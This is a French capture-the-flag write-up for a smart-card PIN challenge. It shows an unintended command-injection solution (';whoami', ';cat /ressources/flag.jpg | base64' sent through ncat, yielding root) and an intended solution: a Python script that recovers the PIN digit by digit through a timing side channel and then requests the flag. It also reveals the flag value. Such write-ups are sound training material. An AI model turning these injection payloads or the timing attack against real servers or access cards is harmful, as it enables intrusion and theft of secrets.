Course hipPIN

Catégorie: Crypto Difficulté: - Flag: ECW{D4mn_I_G0t_D3laaaaays}

Challenge

Description


You're looking to physically infiltrate the building that manages the submarine cables on the south coast of France. However, access is protected by a smart card reader. From reliable sources, you know that a secret is embedded in these cards. You must find this secret at all costs!

Your pickpocketing skills have enabled you to steal an employee's access card. However, this card is protected by a pin code. There's got to be a way of finding this code to access the card's secret...

Using your pirate terminal, you can send commands of your choice to this card and observe its responses. You find the source code of the Java Card applet that seems to be used.

You can communicate with the Smart Card's terminal by using netcat. You can provide X hex buffers as parameters. If the port number associated to the docker is 65432, then type:

$ echo "BUFFER1 BUFFER2 BUFFERX" | nc -N localhost 65432

Solution

Unintended way

Ici, on va exploiter une injection pour exécuter des commandes sur le serveur et récupérer le flag directement depuis les fichiers.

Pour ça, au lieu d'envoyer nos BUFFER, on va envoyer ;whoami comme Proof of Concept :

$ echo ";whoami" | ncat 127.0.0.1 8080

    ██╗           █████╗ ██████╗  █████╗  ██████╗██╗  ██╗███████╗    ██╗  ██╗ █████╗  ██████╗██╗  ██╗███████╗             ██╗
   ██╔╝▄ ██╗▄    ██╔══██╗██╔══██╗██╔══██╗██╔════╝██║  ██║██╔════╝    ██║  ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝    ▄ ██╗▄  ██╔╝
  ██╔╝  ████╗    ███████║██████╔╝███████║██║     ███████║█████╗█████╗███████║███████║██║     █████╔╝ ███████╗     ████╗ ██╔╝
 ██╔╝  ▀╚██╔▀    ██╔══██║██╔═══╝ ██╔══██║██║     ██╔══██║██╔══╝╚════╝██╔══██║██╔══██║██║     ██╔═██╗ ╚════██║    ▀╚██╔▀██╔╝
██╔╝     ╚═╝     ██║  ██║██║     ██║  ██║╚██████╗██║  ██║███████╗    ██║  ██║██║  ██║╚██████╗██║  ██╗███████║      ╚═╝██╔╝
╚═╝              ╚═╝  ╚═╝╚═╝     ╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝    ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝         ╚═╝

[+] Init hacking terminal
[+] bip * bip * tiiiic
[+] Ready to send an APDU !

You need to provide an APDU command (hex string) as args.
root

En se baladant dans les fichiers, on trouve /ressources/flag.jpg, on peut donc le récupérer en l'encodant en base64 :

$ echo ";cat /ressources/flag.jpg | base64" | ncat 127.0.0.1 8080

/9j/4AAQSkZJRgABAQEBLAEsAAD//gATQ3JlYXRlZCB3aXRoIEdJTVD/2wBDABALDA4MChAODQ4S
ERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBD
    / ... /
EI/h8WdVB7z7rcnBAAD4s6za/M+3tfkddtfmfiTHM9z65/aH4Lm+/wBJN7b8I/b58dI/L8MdgyNe
cmM3QRR1X//Z

Direction Cyberchef pour afficher l'image :

Intended way

Il faut dans un premier temps comprendre la structure de ce qu'on doit envoyer. Il s'agit d'APDU, les données sont donc composées :

Nom du champs

Taille (octets)

Description

CLA

1

Classe d'instruction - indique le type de la commande, par exemple "interindustry" ou "proprietary"

INS

1

Code d'instruction - indique le code de commande, "write data" par exemple

P1-P2

2

Paramètres d'instructions pour la commande, par exemple la position du curseur (offset) du fichier où écrire des données

Lc

0, 1 ou 3

Définit le nombre (Nc) d'octets envoyés par la commande

Données envoyées

Nc

Nc octets

Le

0, 1, 2 ou 3

Définit le nombre (Ne) maximum d'octets attendus dans la réponse

Pour récupérer le flag, il faut s'authentifier avec le PIN via la commande VERIFY.

Seulement, cette commande est vulnérable aux attaques par timing, on peut donc tester les 10 chiffres et regarder lequel ajoute un délai à la réponse. Une fois le chiffre trouvé, on passe au suivant et ainsi de suite jusqu'à ce que nous ayons une réponse différente de 0x6300 (ce code correspond à SW_VERIFICATION_FAILED).

from subprocess import run
import re

HOST = '127.0.0.1'
PORT = 8080

CLA = 0x80
VERIFY = 0x20
GET_FLAG = 0x50
WRITE_FLAG = 0x30


def send_apdu(apdu: str) -> str:
  command = f'echo {apdu} | ncat {HOST} {PORT}'
  output = run(command, capture_output=True, shell=True).stdout.decode()
  output = output.split('[+] Ready to send an APDU !\n', 1)[1]
  return output.strip()


def crack_pin() -> list[int]:
  # P1 & P2 ne servent pas ici, on a pas de paramètres donc on met à 0
  p1 = 0x00  
  p2 = 0x00
 
  pin = []
  while True:
    # On envoie les 10 chiffres à tester d'un coup
    apdus = []
    for i in range(10):
      data = [*pin, i]
      lc = len(data)
      # Pas besoin de "le" puisqu'on attend pas de retour
      apdus.append(bytes([CLA, VERIFY, p1, p2, lc, *data]).hex().upper())
    # Envoie des 10 BUFFER 
    result = send_apdu(' '.join(apdus))

    # Récupère et parse tous les timings reçus 
    timings = [float(n) for n in re.findall(r'Response time: ([\d\.]+)ms', result)]
    # Le bon chiffre est celui qui met le plus de temps
    good_digit = timings.index(max(timings))
    pin.append(good_digit)
    
    # Si on ne reçoit pas 10 fois 0x6300, ça veut dire qu'un des PIN a fonctionné
    if result.count('Status Code: 0x6300') != 10:
      return pin
    
    print(f'PIN: {pin}')


def main():
  print('[i] Cracking PIN...')
  pin = crack_pin()
  print(f'[+] PIN Cracked: {pin}')


if __name__ == '__main__':
  main()
[i] Cracking PIN...
PIN: [9]
PIN: [9, 3]
PIN: [9, 3, 5]
PIN: [9, 3, 5, 5]
PIN: [9, 3, 5, 5, 1]
[+] PIN Cracked: [9, 3, 5, 5, 1, 8]

Maintenant qu'on a le PIN, il suffit d'envoyer la commande VERIFY puis GET_FLAG en même temps :

from subprocess import run
import re
from PIL import Image
from io import BytesIO

HOST = '127.0.0.1'
PORT = 8080

CLA = 0x80
VERIFY = 0x20
GET_FLAG = 0x50
WRITE_FLAG = 0x30


def send_apdu(apdu: str) -> str:
  command = f'echo {apdu} | ncat {HOST} {PORT}'
  output = run(command, capture_output=True, shell=True).stdout.decode()
  output = output.split('[+] Ready to send an APDU !\n', 1)[1]
  return output.strip()


def crack_pin() -> list[int]:
  # P1 & P2 ne servent pas ici, on a pas de paramètres donc on met à 0
  p1 = 0x00  
  p2 = 0x00
 
  pin = []
  while True:
    # On envoie les 10 chiffres à tester d'un coup
    apdus = []
    for i in range(10):
      data = [*pin, i]
      lc = len(data)
      # Pas besoin de "le" puisqu'on attend pas de retour
      apdus.append(bytes([CLA, VERIFY, p1, p2, lc, *data]).hex().upper())
    # Envoie des 10 BUFFER 
    result = send_apdu(' '.join(apdus))

    # Récupère et parse tous les timings reçus 
    timings = [float(n) for n in re.findall(r'Response time: ([\d\.]+)ms', result)]
    # Le bon chiffre est celui qui met le plus de temps
    good_digit = timings.index(max(timings))
    pin.append(good_digit)
    
    # Si on ne reçoit pas 10 fois 0x6300, ça veut dire qu'un des PIN a fonctionné
    if result.count('Status Code: 0x6300') != 10:
      return pin
    
    print(f'PIN: {pin}')


def get_flag(pin: list[int]) -> Image.Image:
  # P1 & P2 toujours inutiles
  p1 = 0x00
  p2 = 0x00
  
  apdu_pin = bytes([CLA, VERIFY, p1, p2, len(pin), *pin]).hex().upper()
  
  # On veut récupérer un max de données, donc on utilise 3 octets comme dit dans la doc
  le = [0x00, 0x0f, 0xff]
  # Pas de data dans pas de lc non plus
  apdu_get = bytes([CLA, GET_FLAG, p1, p2, *le]).hex().upper()
  
  result = send_apdu(f'{apdu_pin} {apdu_get}')
  
  # Parse en image
  data = result.rsplit('Data received from card: ')[1].replace(',', '').strip().split(' ')
  data = bytes([int(n[2:], 16) for n in data])
  img = Image.open(BytesIO(data))
  return img

def main():
  print('[i] Cracking PIN...')
  pin = crack_pin()
  print(f'[+] PIN Cracked: {pin}')
  
  print('[i] Getting flag...')
  flag = get_flag(pin)
  print('[+] Show flag')
  flag.show()


if __name__ == '__main__':
  main()

Dernière mise à jour

Cet article vous a-t-il été utile ?